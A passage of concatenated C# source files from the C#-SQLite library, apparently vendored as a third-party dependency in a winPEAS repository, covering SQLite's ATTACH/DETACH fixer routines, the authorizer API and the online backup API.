*/ null, /* pNext */ detachFunc, /* xFunc */ null, /* xStep */ null, /* xFinalize */ "sqlite_detach", /* zName */ null /* pHash */ ); codeAttach( pParse, SQLITE_DETACH, detach_func, pDbname, null, null, pDbname ); } /* ** Called by the parser to compile an ATTACH statement. ** ** ATTACH p AS pDbname KEY pKey */ static void sqlite3Attach( Parse pParse, Expr p, Expr pDbname, Expr pKey ) { FuncDef attach_func = new FuncDef( 3, /* nArg */ SQLITE_UTF8, /* iPrefEnc */ 0, /* flags */ null, /* pUserData */ null, /* pNext */ attachFunc, /* xFunc */ null, /* xStep */ null, /* xFinalize */ "sqlite_attach", /* zName */ null /* pHash */ ); codeAttach( pParse, SQLITE_ATTACH, attach_func, p, p, pDbname, pKey ); } #endif // * SQLITE_OMIT_ATTACH */ /* ** Initialize a DbFixer structure. This routine must be called prior ** to passing the structure to one of the sqliteFixAAAA() routines below. ** ** The return value indicates whether or not fixation is required. TRUE ** means we do need to fix the database references, FALSE means we do not. */ static int sqlite3FixInit( DbFixer pFix, /* The fixer to be initialized */ Parse pParse, /* Error messages will be written here */ int iDb, /* This is the database that must be used */ string zType, /* "view", "trigger", or "index" */ Token pName /* Name of the view, trigger, or index */ ) { sqlite3 db; if ( NEVER( iDb < 0 ) || iDb == 1 ) return 0; db = pParse.db; Debug.Assert( db.nDb > iDb ); pFix.pParse = pParse; pFix.zDb = db.aDb[iDb].zName; pFix.zType = zType; pFix.pName = pName; return 1; } /* ** The following set of routines walk through the parse tree and assign ** a specific database to all table references where the database name ** was left unspecified in the original SQL statement. The pFix structure ** must have been initialized by a prior call to sqlite3FixInit(). ** ** These routines are used to make sure that an index, trigger, or ** view in one database does not refer to objects in a different database. ** (Exception: indices, triggers, and views in the TEMP database are ** allowed to refer to anything.) If a reference is explicitly made ** to an object in a different database, an error message is added to ** pParse.zErrMsg and these routines return non-zero. If everything ** checks out, these routines return 0. */ static int sqlite3FixSrcList( DbFixer pFix, /* Context of the fixation */ SrcList pList /* The Source list to check and modify */ ) { int i; string zDb; SrcList_item pItem; if ( NEVER( pList == null ) ) return 0; zDb = pFix.zDb; for ( i = 0 ; i < pList.nSrc ; i++ ) {//, pItem++){ pItem = pList.a[i]; if ( pItem.zDatabase == null ) { pItem.zDatabase = zDb;// sqlite3DbStrDup( pFix.pParse.db, zDb ); } else if ( sqlite3StrICmp( pItem.zDatabase, zDb ) != 0 ) { sqlite3ErrorMsg( pFix.pParse, "%s %T cannot reference objects in database %s", pFix.zType, pFix.pName, pItem.zDatabase ); return 1; } #if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_TRIGGER if ( sqlite3FixSelect( pFix, pItem.pSelect ) != 0 ) return 1; if ( sqlite3FixExpr( pFix, pItem.pOn ) != 0 ) return 1; #endif } return 0; } #if !SQLITE_OMIT_VIEW || !SQLITE_OMIT_TRIGGER static int sqlite3FixSelect( DbFixer pFix, /* Context of the fixation */ Select pSelect /* The SELECT statement to be fixed to one database */ ) { while ( pSelect != null ) { if ( sqlite3FixExprList( pFix, pSelect.pEList ) != 0 ) { return 1; } if ( sqlite3FixSrcList( pFix, pSelect.pSrc ) != 0 ) { return 1; } if ( sqlite3FixExpr( pFix, pSelect.pWhere ) != 0 ) { return 1; } if ( sqlite3FixExpr( pFix, pSelect.pHaving ) != 0 ) { return 1; } pSelect = pSelect.pPrior; } return 0; } static int sqlite3FixExpr( DbFixer pFix, /* Context of the fixation */ Expr pExpr /* The expression to be fixed to one database */ ) { while ( pExpr != null ) { if ( ExprHasAnyProperty( pExpr, EP_TokenOnly ) ) break; if ( ExprHasProperty( pExpr, EP_xIsSelect ) ) { if ( sqlite3FixSelect( pFix, pExpr.x.pSelect ) != 0 ) return 1; } else { if ( sqlite3FixExprList( pFix, pExpr.x.pList ) != 0 ) return 1; } if ( sqlite3FixExpr( pFix, pExpr.pRight ) != 0 ) { return 1; } pExpr = pExpr.pLeft; } return 0; } static int sqlite3FixExprList( DbFixer pFix, /* Context of the fixation */ ExprList pList /* The expression to be fixed to one database */ ) { int i; ExprList_item pItem; if ( pList == null ) return 0; for ( i = 0 ; i < pList.nExpr ; i++ )//, pItem++ ) { pItem = pList.a[i]; if ( sqlite3FixExpr( pFix, pItem.pExpr ) != 0 ) { return 1; } } return 0; } #endif #if !SQLITE_OMIT_TRIGGER static int sqlite3FixTriggerStep( DbFixer pFix, /* Context of the fixation */ TriggerStep pStep /* The trigger step be fixed to one database */ ) { while ( pStep != null ) { if ( sqlite3FixSelect( pFix, pStep.pSelect ) != 0 ) { return 1; } if ( sqlite3FixExpr( pFix, pStep.pWhere ) != 0 ) { return 1; } if ( sqlite3FixExprList( pFix, pStep.pExprList ) != 0 ) { return 1; } pStep = pStep.pNext; } return 0; } #endif } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/auth_c.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2003 January 11 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains code used to implement the sqlite3_set_authorizer() ** API. This facility is an optional feature of the library. Embedded ** systems that do not need this facility may omit it by recompiling ** the library with -DSQLITE_OMIT_AUTHORIZATION=1 ** ** $Id: auth.c,v 1.32 2009/07/02 18:40:35 danielk1977 Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** All of the code in this file may be omitted by defining a single ** macro. */ #if !SQLITE_OMIT_AUTHORIZATION /* ** Set or clear the access authorization function. ** ** The access authorization function is be called during the compilation ** phase to verify that the user has read and/or write access permission on ** various fields of the database. The first argument to the auth function ** is a copy of the 3rd argument to this routine. The second argument ** to the auth function is one of these constants: ** ** SQLITE_CREATE_INDEX ** SQLITE_CREATE_TABLE ** SQLITE_CREATE_TEMP_INDEX ** SQLITE_CREATE_TEMP_TABLE ** SQLITE_CREATE_TEMP_TRIGGER ** SQLITE_CREATE_TEMP_VIEW ** SQLITE_CREATE_TRIGGER ** SQLITE_CREATE_VIEW ** SQLITE_DELETE ** SQLITE_DROP_INDEX ** SQLITE_DROP_TABLE ** SQLITE_DROP_TEMP_INDEX ** SQLITE_DROP_TEMP_TABLE ** SQLITE_DROP_TEMP_TRIGGER ** SQLITE_DROP_TEMP_VIEW ** SQLITE_DROP_TRIGGER ** SQLITE_DROP_VIEW ** SQLITE_INSERT ** SQLITE_PRAGMA ** SQLITE_READ ** SQLITE_SELECT ** SQLITE_TRANSACTION ** SQLITE_UPDATE ** ** The third and fourth arguments to the auth function are the name of ** the table and the column that are being accessed. The auth function ** should return either SQLITE_OK, SQLITE_DENY, or SQLITE_IGNORE. If ** SQLITE_OK is returned, it means that access is allowed. SQLITE_DENY ** means that the SQL statement will never-run - the sqlite3_exec() call ** will return with an error. SQLITE_IGNORE means that the SQL statement ** should run but attempts to read the specified column will return NULL ** and attempts to write the column will be ignored. ** ** Setting the auth function to NULL disables this hook. The default ** setting of the auth function is NULL. */ int sqlite3_set_authorizer( sqlite3 *db, int (*xAuth)(void*,int,const char*,const char*,const char*,const char*), void *pArg ){ sqlite3_mutex_enter(db->mutex); db->xAuth = xAuth; db->pAuthArg = pArg; sqlite3ExpirePreparedStatements(db); sqlite3_mutex_leave(db->mutex); return SQLITE_OK; } /* ** Write an error message into pParse->zErrMsg that explains that the ** user-supplied authorization function returned an illegal value. */ static void sqliteAuthBadReturnCode(Parse *pParse){ sqlite3ErrorMsg(pParse, "authorizer malfunction"); pParse->rc = SQLITE_ERROR; } /* ** The pExpr should be a TK_COLUMN expression. The table referred to ** is in pTabList or else it is the NEW or OLD table of a trigger. ** Check to see if it is OK to read this particular column. ** ** If the auth function returns SQLITE_IGNORE, change the TK_COLUMN ** instruction into a TK_NULL. If the auth function returns SQLITE_DENY, ** then generate an error. */ void sqlite3AuthRead( Parse *pParse, /* The parser context */ Expr *pExpr, /* The expression to check authorization on */ Schema *pSchema, /* The schema of the expression */ SrcList *pTabList /* All table that pExpr might refer to */ ){ sqlite3 *db = pParse->db; int rc; Table *pTab = 0; /* The table being read */ const char *zCol; /* Name of the column of the table */ int iSrc; /* Index in pTabList->a[] of table being read */ const char *zDBase; /* Name of database being accessed */ int iDb; /* The index of the database the expression refers to */ if( db->xAuth==0 ) return; assert( pExpr->op==TK_COLUMN ); iDb = sqlite3SchemaToIndex(pParse->db, pSchema); if( iDb<0 ){ /* An attempt to read a column out of a subquery or other ** temporary table. */ return; } if( pTabList ){ for(iSrc=0; iSrcnSrc; iSrc++){ if( pExpr->iTable==pTabList->a[iSrc].iCursor ){ pTab = pTabList->a[iSrc].pTab; break; } } } if( !pTab ){ TriggerStack *pStack = pParse->trigStack; if( ALWAYS(pStack) ){ /* This must be an attempt to read the NEW or OLD pseudo-tables ** of a trigger. */ assert( pExpr->iTable==pStack->newIdx || pExpr->iTable==pStack->oldIdx ); pTab = pStack->pTab; } } if( NEVER(pTab==0) ) return; if( pExpr->iColumn>=0 ){ assert( pExpr->iColumnnCol ); zCol = pTab->aCol[pExpr->iColumn].zName; }else if( pTab->iPKey>=0 ){ assert( pTab->iPKeynCol ); zCol = pTab->aCol[pTab->iPKey].zName; }else{ zCol = "ROWID"; } assert( iDb>=0 && iDbnDb ); zDBase = db->aDb[iDb].zName; rc = db->xAuth(db->pAuthArg, SQLITE_READ, pTab->zName, zCol, zDBase, pParse->zAuthContext); if( rc==SQLITE_IGNORE ){ pExpr->op = TK_NULL; }else if( rc==SQLITE_DENY ){ if( db->nDb>2 || iDb!=0 ){ sqlite3ErrorMsg(pParse, "access to %s.%s.%s is prohibited", zDBase, pTab->zName, zCol); }else{ sqlite3ErrorMsg(pParse, "access to %s.%s is prohibited",pTab->zName,zCol); } pParse->rc = SQLITE_AUTH; }else if( rc!=SQLITE_OK ){ sqliteAuthBadReturnCode(pParse); } } /* ** Do an authorization check using the code and arguments given. Return ** either SQLITE_OK (zero) or SQLITE_IGNORE or SQLITE_DENY. If SQLITE_DENY ** is returned, then the error count and error message in pParse are ** modified appropriately. */ int sqlite3AuthCheck( Parse *pParse, int code, const char *zArg1, const char *zArg2, const char *zArg3 ){ sqlite3 *db = pParse->db; int rc; /* Don't do any authorization checks if the database is initialising ** or if the parser is being invoked from within sqlite3_declare_vtab. */ if( db->init.busy || IN_DECLARE_VTAB ){ return SQLITE_OK; } if( db->xAuth==0 ){ return SQLITE_OK; } rc = db->xAuth(db->pAuthArg, code, zArg1, zArg2, zArg3, pParse->zAuthContext); if( rc==SQLITE_DENY ){ sqlite3ErrorMsg(pParse, "not authorized"); pParse->rc = SQLITE_AUTH; }else if( rc!=SQLITE_OK && rc!=SQLITE_IGNORE ){ rc = SQLITE_DENY; sqliteAuthBadReturnCode(pParse); } return rc; } /* ** Push an authorization context. After this routine is called, the ** zArg3 argument to authorization callbacks will be zContext until ** popped. Or if pParse==0, this routine is a no-op. */ void sqlite3AuthContextPush( Parse *pParse, AuthContext *pContext, const char *zContext ){ assert( pParse ); pContext->pParse = pParse; pContext->zAuthContext = pParse->zAuthContext; pParse->zAuthContext = zContext; } /* ** Pop an authorization context that was previously pushed ** by sqlite3AuthContextPush */ void sqlite3AuthContextPop(AuthContext *pContext){ if( pContext->pParse ){ pContext->pParse->zAuthContext = pContext->zAuthContext; pContext->pParse = 0; } } #endif //* SQLITE_OMIT_AUTHORIZATION */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/backup_c.cs ================================================ using System; using System.Diagnostics; using i64 = System.Int64; using u32 = System.UInt32; using Pgno = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { using DbPage = CSSQLite.PgHdr; public partial class CSSQLite { /* ** 2009 January 28 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains the implementation of the sqlite3_backup_XXX() ** API functions and the related features. ** ** $Id: backup.c,v 1.19 2009/07/06 19:03:13 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" //#include "btreeInt.h" /* Macro to find the minimum of two numeric values. */ #if !MIN //# define MIN(x,y) ((x)<(y)?(x):(y)) #endif /* ** Structure allocated for each backup operation. */ public class sqlite3_backup { public sqlite3 pDestDb; /* Destination database handle */ public Btree pDest; /* Destination b-tree file */ public u32 iDestSchema; /* Original schema cookie in destination */ public int bDestLocked; /* True once a write-transaction is open on pDest */ public Pgno iNext; /* Page number of the next source page to copy */ public sqlite3 pSrcDb; /* Source database handle */ public Btree pSrc; /* Source b-tree file */ public int rc; /* Backup process error code */ /* These two variables are set by every call to backup_step(). They are ** read by calls to backup_remaining() and backup_pagecount(). */ public Pgno nRemaining; /* Number of pages left to copy */ public Pgno nPagecount; /* Total number of pages to copy */ public int isAttached; /* True once backup has been registered with pager */ public sqlite3_backup pNext; /* Next backup associated with source pager */ }; /* ** THREAD SAFETY NOTES: ** ** Once it has been created using backup_init(), a single sqlite3_backup ** structure may be accessed via two groups of thread-safe entry points: ** ** * Via the sqlite3_backup_XXX() API function backup_step() and ** backup_finish(). Both these functions obtain the source database ** handle mutex and the mutex associated with the source BtShared ** structure, in that order. ** ** * Via the BackupUpdate() and BackupRestart() functions, which are ** invoked by the pager layer to report various state changes in ** the page cache associated with the source database. The mutex ** associated with the source database BtShared structure will always ** be held when either of these functions are invoked. ** ** The other sqlite3_backup_XXX() API functions, backup_remaining() and ** backup_pagecount() are not thread-safe functions. If they are called ** while some other thread is calling backup_step() or backup_finish(), ** the values returned may be invalid. There is no way for a call to ** BackupUpdate() or BackupRestart() to interfere with backup_remaining() ** or backup_pagecount(). ** ** Depending on the SQLite configuration, the database handles and/or ** the Btree objects may have their own mutexes that require locking. ** Non-sharable Btrees (in-memory databases for example), do not have ** associated mutexes. */ /* ** Return a pointer corresponding to database zDb (i.e. "main", "temp") ** in connection handle pDb. If such a database cannot be found, return ** a NULL pointer and write an error message to pErrorDb. ** ** If the "temp" database is requested, it may need to be opened by this ** function. If an error occurs while doing so, return 0 and write an ** error message to pErrorDb. */ static Btree findBtree( sqlite3 pErrorDb, sqlite3 pDb, string zDb ) { int i = sqlite3FindDbName( pDb, zDb ); if ( i == 1 ) { Parse pParse; int rc = 0; pParse = new Parse();//sqlite3StackAllocZero(pErrorDb, sizeof(*pParse)); if ( pParse == null ) { sqlite3Error( pErrorDb, SQLITE_NOMEM, "out of memory" ); rc = SQLITE_NOMEM; } else { pParse.db = pDb; if ( sqlite3OpenTempDatabase( pParse ) != 0 ) { sqlite3ErrorClear( pParse ); sqlite3Error( pErrorDb, pParse.rc, "%s", pParse.zErrMsg ); rc = SQLITE_ERROR; } //sqlite3StackFree( pErrorDb, pParse ); } if ( rc != 0 ) { return null; } } if ( i < 0 ) { sqlite3Error( pErrorDb, SQLITE_ERROR, "unknown database %s", zDb ); return null; } return pDb.aDb[i].pBt; } /* ** Create an sqlite3_backup process to copy the contents of zSrcDb from ** connection handle pSrcDb to zDestDb in pDestDb. If successful, return ** a pointer to the new sqlite3_backup object. ** ** If an error occurs, NULL is returned and an error code and error message ** stored in database handle pDestDb. */ public static sqlite3_backup sqlite3_backup_init( sqlite3 pDestDb, /* Database to write to */ string zDestDb, /* Name of database within pDestDb */ sqlite3 pSrcDb, /* Database connection to read from */ string zSrcDb /* Name of database within pSrcDb */ ) { sqlite3_backup p; /* Value to return */ /* Lock the source database handle. The destination database ** handle is not locked in this routine, but it is locked in ** sqlite3_backup_step(). The user is required to ensure that no ** other thread accesses the destination handle for the duration ** of the backup operation. Any attempt to use the destination ** database connection while a backup is in progress may cause ** a malfunction or a deadlock. */ sqlite3_mutex_enter( pSrcDb.mutex ); sqlite3_mutex_enter( pDestDb.mutex ); if ( pSrcDb == pDestDb ) { sqlite3Error( pDestDb, SQLITE_ERROR, "source and destination must be distinct" ); p = null; } else { /* Allocate space for a new sqlite3_backup object */ p = new sqlite3_backup();// (sqlite3_backup)sqlite3_malloc( sizeof( sqlite3_backup ) ); //if ( null == p ) //{ // sqlite3Error( pDestDb, SQLITE_NOMEM, 0 ); //} } /* If the allocation succeeded, populate the new object. */ if ( p != null ) { // memset( p, 0, sizeof( sqlite3_backup ) ); p.pSrc = findBtree( pDestDb, pSrcDb, zSrcDb ); p.pDest = findBtree( pDestDb, pDestDb, zDestDb ); p.pDestDb = pDestDb; p.pSrcDb = pSrcDb; p.iNext = 1; p.isAttached = 0; if ( null == p.pSrc || null == p.pDest ) { /* One (or both) of the named databases did not exist. An error has ** already been written into the pDestDb handle. All that is left ** to do here is free the sqlite3_backup structure. */ //sqlite3_free( ref p ); p = null; } } if ( p != null ) { p.pSrc.nBackup++; } sqlite3_mutex_leave( pDestDb.mutex ); sqlite3_mutex_leave( pSrcDb.mutex ); return p; } /* ** Argument rc is an SQLite error code. Return true if this error is ** considered fatal if encountered during a backup operation. All errors ** are considered fatal except for SQLITE_BUSY and SQLITE_LOCKED. */ static bool isFatalError( int rc ) { return ( rc != SQLITE_OK && rc != SQLITE_BUSY && ALWAYS( rc != SQLITE_LOCKED ) ); } /* ** Parameter zSrcData points to a buffer containing the data for ** page iSrcPg from the source database. Copy this data into the ** destination database. */ static int backupOnePage( sqlite3_backup p, Pgno iSrcPg, byte[] zSrcData ) { Pager pDestPager = sqlite3BtreePager( p.pDest ); int nSrcPgsz = sqlite3BtreeGetPageSize( p.pSrc ); int nDestPgsz = sqlite3BtreeGetPageSize( p.pDest ); int nCopy = MIN( nSrcPgsz, nDestPgsz ); i64 iEnd = (i64)iSrcPg * (i64)nSrcPgsz; int rc = SQLITE_OK; i64 iOff; Debug.Assert( p.bDestLocked != 0 ); Debug.Assert( !isFatalError( p.rc ) ); Debug.Assert( iSrcPg != PENDING_BYTE_PAGE( p.pSrc.pBt ) ); Debug.Assert( zSrcData != null ); /* Catch the case where the destination is an in-memory database and the ** page sizes of the source and destination differ. */ if ( nSrcPgsz != nDestPgsz && sqlite3PagerIsMemdb( sqlite3BtreePager( p.pDest ) ) ) { rc = SQLITE_READONLY; } /* This loop runs once for each destination page spanned by the source ** page. For each iteration, variable iOff is set to the byte offset ** of the destination page. */ for ( iOff = iEnd - (i64)nSrcPgsz ; rc == SQLITE_OK && iOff < iEnd ; iOff += nDestPgsz ) { DbPage pDestPg = null; u32 iDest = (u32)( iOff / nDestPgsz ) + 1; if ( iDest == PENDING_BYTE_PAGE( p.pDest.pBt ) ) continue; if ( SQLITE_OK == ( rc = sqlite3PagerGet( pDestPager, iDest, ref pDestPg ) ) && SQLITE_OK == ( rc = sqlite3PagerWrite( pDestPg ) ) ) { //string zIn = &zSrcData[iOff%nSrcPgsz]; byte[] zDestData = sqlite3PagerGetData( pDestPg ); //string zOut = &zDestData[iOff % nDestPgsz]; /* Copy the data from the source page into the destination page. ** Then clear the Btree layer MemPage.isInit flag. Both this module ** and the pager code use this trick (clearing the first byte ** of the page 'extra' space to invalidate the Btree layers ** cached parse of the page). MemPage.isInit is marked ** "MUST BE FIRST" for this purpose. */ Buffer.BlockCopy( zSrcData, (int)( iOff % nSrcPgsz ), zDestData, (int)( iOff % nDestPgsz ), nCopy );// memcpy( zOut, zIn, nCopy ); sqlite3PagerGetExtra( pDestPg ).isInit = 0;// ( sqlite3PagerGetExtra( pDestPg ) )[0] = 0; } sqlite3PagerUnref( pDestPg ); } return rc; } /* ** If pFile is currently larger than iSize bytes, then truncate it to ** exactly iSize bytes. If pFile is not larger than iSize bytes, then ** this function is a no-op. ** ** Return SQLITE_OK if everything is successful, or an SQLite error ** code if an error occurs. */ static int backupTruncateFile( sqlite3_file pFile, int iSize ) { int iCurrent = 0; int rc = sqlite3OsFileSize( pFile, ref iCurrent ); if ( rc == SQLITE_OK && iCurrent > iSize ) { rc = sqlite3OsTruncate( pFile, iSize ); } return rc; } /* ** Register this backup object with the associated source pager for ** callbacks when pages are changed or the cache invalidated. */ static void attachBackupObject( sqlite3_backup p ) { sqlite3_backup pp; Debug.Assert( sqlite3BtreeHoldsMutex( p.pSrc ) ); pp = sqlite3PagerBackupPtr( sqlite3BtreePager( p.pSrc ) ); p.pNext = pp; sqlite3BtreePager( p.pSrc ).pBackup = p; //*pp = p; p.isAttached = 1; } /* ** Copy nPage pages from the source b-tree to the destination. */ public static int sqlite3_backup_step( sqlite3_backup p, int nPage ) { int rc; sqlite3_mutex_enter( p.pSrcDb.mutex ); sqlite3BtreeEnter( p.pSrc ); if ( p.pDestDb != null ) { sqlite3_mutex_enter( p.pDestDb.mutex ); } rc = p.rc; if ( !isFatalError( rc ) ) { Pager pSrcPager = sqlite3BtreePager( p.pSrc ); /* Source pager */ Pager pDestPager = sqlite3BtreePager( p.pDest ); /* Dest pager */ int ii; /* Iterator variable */ int nSrcPage = -1; /* Size of source db in pages */ int bCloseTrans = 0; /* True if src db requires unlocking */ /* If the source pager is currently in a write-transaction, return ** SQLITE_BUSY immediately. */ if ( p.pDestDb != null && p.pSrc.pBt.inTransaction == TRANS_WRITE ) { rc = SQLITE_BUSY; } else { rc = SQLITE_OK; } /* Lock the destination database, if it is not locked already. */ if ( SQLITE_OK == rc && p.bDestLocked == 0 && SQLITE_OK == ( rc = sqlite3BtreeBeginTrans( p.pDest, 2 ) ) ) { p.bDestLocked = 1; sqlite3BtreeGetMeta( p.pDest, BTREE_SCHEMA_VERSION, ref p.iDestSchema ); } /* If there is no open read-transaction on the source database, open ** one now. If a transaction is opened here, then it will be closed ** before this function exits. */ if ( rc == SQLITE_OK && !sqlite3BtreeIsInReadTrans( p.pSrc ) ) { rc = sqlite3BtreeBeginTrans( p.pSrc, 0 ); bCloseTrans = 1; } /* Now that there is a read-lock on the source database, query the ** source pager for the number of pages in the database. */ if ( rc == SQLITE_OK ) { rc = sqlite3PagerPagecount( pSrcPager, ref nSrcPage ); } for ( ii = 0 ; ( nPage < 0 || ii < nPage ) && p.iNext <= (Pgno)nSrcPage && 0 == rc ; ii++ ) { Pgno iSrcPg = p.iNext; /* Source page number */ if ( iSrcPg != PENDING_BYTE_PAGE( p.pSrc.pBt ) ) { DbPage pSrcPg = null; /* Source page object */ rc = sqlite3PagerGet( pSrcPager, (u32)iSrcPg, ref pSrcPg ); if ( rc == SQLITE_OK ) { rc = backupOnePage( p, iSrcPg, sqlite3PagerGetData( pSrcPg ) ); sqlite3PagerUnref( pSrcPg ); } } p.iNext++; } if ( rc == SQLITE_OK ) { p.nPagecount = (u32)nSrcPage; p.nRemaining = (u32)( nSrcPage + 1 - p.iNext ); if ( p.iNext > (Pgno)nSrcPage ) { rc = SQLITE_DONE; } else if ( 0 == p.isAttached ) { attachBackupObject( p ); } } /* Update the schema version field in the destination database. This ** is to make sure that the schema-version really does change in ** the case where the source and destination databases have the ** same schema version. */ if ( rc == SQLITE_DONE && ( rc = sqlite3BtreeUpdateMeta( p.pDest, 1, p.iDestSchema + 1 ) ) == SQLITE_OK ) { int nSrcPagesize = sqlite3BtreeGetPageSize( p.pSrc ); int nDestPagesize = sqlite3BtreeGetPageSize( p.pDest ); int nDestTruncate; if ( p.pDestDb != null ) { sqlite3ResetInternalSchema( p.pDestDb, 0 ); } /* Set nDestTruncate to the final number of pages in the destination ** database. The complication here is that the destination page ** size may be different to the source page size. ** ** If the source page size is smaller than the destination page size, ** round up. In this case the call to sqlite3OsTruncate() below will ** fix the size of the file. However it is important to call ** sqlite3PagerTruncateImage() here so that any pages in the ** destination file that lie beyond the nDestTruncate page mark are ** journalled by PagerCommitPhaseOne() before they are destroyed ** by the file truncation. */ if ( nSrcPagesize < nDestPagesize ) { int ratio = nDestPagesize / nSrcPagesize; nDestTruncate = ( nSrcPage + ratio - 1 ) / ratio; if ( nDestTruncate == (int)PENDING_BYTE_PAGE( p.pDest.pBt ) ) { nDestTruncate--; } } else { nDestTruncate = nSrcPage * ( nSrcPagesize / nDestPagesize ); } sqlite3PagerTruncateImage( pDestPager, (u32)nDestTruncate ); if ( nSrcPagesize < nDestPagesize ) { /* If the source page-size is smaller than the destination page-size, ** two extra things may need to happen: ** ** * The destination may need to be truncated, and ** ** * Data stored on the pages immediately following the ** pending-byte page in the source database may need to be ** copied into the destination database. */ u32 iSize = (u32)nSrcPagesize * (u32)nSrcPage; sqlite3_file pFile = sqlite3PagerFile( pDestPager ); Debug.Assert( pFile != null ); Debug.Assert( (i64)nDestTruncate * (i64)nDestPagesize >= iSize || ( nDestTruncate == (int)( PENDING_BYTE_PAGE( p.pDest.pBt ) - 1 ) && iSize >= PENDING_BYTE && iSize <= PENDING_BYTE + nDestPagesize ) ); if ( SQLITE_OK == ( rc = sqlite3PagerCommitPhaseOne( pDestPager, null, true ) ) && SQLITE_OK == ( rc = backupTruncateFile( pFile, (int)iSize ) ) && SQLITE_OK == ( rc = sqlite3PagerSync( pDestPager ) ) ) { i64 iOff; i64 iEnd = MIN( PENDING_BYTE + nDestPagesize, iSize ); for ( iOff = PENDING_BYTE + nSrcPagesize ; rc == SQLITE_OK && iOff < iEnd ; iOff += nSrcPagesize ) { PgHdr pSrcPg = null; u32 iSrcPg = (u32)( ( iOff / nSrcPagesize ) + 1 ); rc = sqlite3PagerGet( pSrcPager, iSrcPg, ref pSrcPg ); if ( rc == SQLITE_OK ) { byte[] zData = sqlite3PagerGetData( pSrcPg ); rc = sqlite3OsWrite( pFile, zData, nSrcPagesize, iOff ); } sqlite3PagerUnref( pSrcPg ); } } } else { rc = sqlite3PagerCommitPhaseOne( pDestPager, null, false ); } /* Finish committing the transaction to the destination database. */ if ( SQLITE_OK == rc && SQLITE_OK == ( rc = sqlite3BtreeCommitPhaseTwo( p.pDest ) ) ) { rc = SQLITE_DONE; } } /* If bCloseTrans is true, then this function opened a read transaction ** on the source database. Close the read transaction here. There is ** no need to check the return values of the btree methods here, as ** "committing" a read-only transaction cannot fail. */ if ( bCloseTrans != 0 ) { #if !NDEBUG || SQLITE_COVERAGE_TEST //TESTONLY( int rc2 ); //TESTONLY( rc2 = ) sqlite3BtreeCommitPhaseOne(p.pSrc, 0); //TESTONLY( rc2 |= ) sqlite3BtreeCommitPhaseTwo(p.pSrc); int rc2; rc2 = sqlite3BtreeCommitPhaseOne( p.pSrc, "" ); rc2 |= sqlite3BtreeCommitPhaseTwo( p.pSrc ); Debug.Assert( rc2 == SQLITE_OK ); #else sqlite3BtreeCommitPhaseOne(p.pSrc, null); sqlite3BtreeCommitPhaseTwo(p.pSrc); #endif } p.rc = rc; } if ( p.pDestDb != null ) { sqlite3_mutex_leave( p.pDestDb.mutex ); } sqlite3BtreeLeave( p.pSrc ); sqlite3_mutex_leave( p.pSrcDb.mutex ); return rc; } /* ** Release all resources associated with an sqlite3_backup* handle. */ public static int sqlite3_backup_finish( sqlite3_backup p ) { sqlite3_backup pp; /* Ptr to head of pagers backup list */ sqlite3_mutex mutex; /* Mutex to protect source database */ int rc; /* Value to return */ /* Enter the mutexes */ if ( p == null ) return SQLITE_OK; sqlite3_mutex_enter( p.pSrcDb.mutex ); sqlite3BtreeEnter( p.pSrc ); mutex = p.pSrcDb.mutex; if ( p.pDestDb != null ) { sqlite3_mutex_enter( p.pDestDb.mutex ); } /* Detach this backup from the source pager. */ if ( p.pDestDb != null ) { p.pSrc.nBackup--; } if ( p.isAttached != 0 ) { pp = sqlite3PagerBackupPtr( sqlite3BtreePager( p.pSrc ) ); while ( pp != p ) { pp = ( pp ).pNext; } sqlite3BtreePager( p.pSrc ).pBackup = p.pNext; } /* If a transaction is still open on the Btree, roll it back. */ sqlite3BtreeRollback( p.pDest ); /* Set the error code of the destination database handle. */ rc = ( p.rc == SQLITE_DONE ) ? SQLITE_OK : p.rc; sqlite3Error( p.pDestDb, rc, 0 ); /* Exit the mutexes and free the backup context structure. */ if ( p.pDestDb != null ) { sqlite3_mutex_leave( p.pDestDb.mutex ); } sqlite3BtreeLeave( p.pSrc ); if ( p.pDestDb != null ) { //sqlite3_free( ref p ); } sqlite3_mutex_leave( mutex ); return rc; } /* ** Return the number of pages still to be backed up as of the most recent ** call to sqlite3_backup_step(). */ static int sqlite3_backup_remaining( sqlite3_backup p ) { return (int)p.nRemaining; } /* ** Return the total number of pages in the source database as of the most ** recent call to sqlite3_backup_step(). */ static int sqlite3_backup_pagecount( sqlite3_backup p ) { return (int)p.nPagecount; } /* ** This function is called after the contents of page iPage of the ** source database have been modified. If page iPage has already been ** copied into the destination database, then the data written to the ** destination is now invalidated. The destination copy of iPage needs ** to be updated with the new data before the backup operation is ** complete. ** ** It is assumed that the mutex associated with the BtShared object ** corresponding to the source database is held when this function is ** called. */ static void sqlite3BackupUpdate( sqlite3_backup pBackup, Pgno iPage, byte[] aData ) { sqlite3_backup p; /* Iterator variable */ for ( p = pBackup ; p != null ; p = p.pNext ) { Debug.Assert( sqlite3_mutex_held( p.pSrc.pBt.mutex ) ); if ( !isFatalError( p.rc ) && iPage < p.iNext ) { /* The backup process p has already copied page iPage. But now it ** has been modified by a transaction on the source pager. Copy ** the new data into the backup. */ int rc = backupOnePage( p, iPage, aData ); Debug.Assert( rc != SQLITE_BUSY && rc != SQLITE_LOCKED ); if ( rc != SQLITE_OK ) { p.rc = rc; } } } } /* ** Restart the backup process. This is called when the pager layer ** detects that the database has been modified by an external database ** connection. In this case there is no way of knowing which of the ** pages that have been copied into the destination database are still ** valid and which are not, so the entire process needs to be restarted. ** ** It is assumed that the mutex associated with the BtShared object ** corresponding to the source database is held when this function is ** called. */ static 